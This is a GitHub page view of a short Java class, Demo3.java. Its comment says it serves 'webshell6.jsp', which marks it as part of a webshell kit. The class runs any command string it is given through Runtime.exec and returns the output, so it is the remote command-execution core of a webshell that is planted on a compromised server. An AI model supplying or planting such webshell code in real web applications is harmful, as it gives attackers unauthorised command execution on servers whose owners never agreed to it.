-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathDemo3.java
40 lines (37 loc) · 1.01 KB
/
Demo3.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
/**
* 该类用于 webshell6.jsp
*/
public class Demo3 {
String sret;
public Demo3(String cmd) {
InputStream in = null;
try {
in = Runtime.getRuntime().exec(cmd.split(" ")).getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line = null;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
sret = sb.toString();
} catch (Exception e) {
e.printStackTrace();
} finally {
if (in != null) {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
@Override
public String toString() {
return sret;
}
}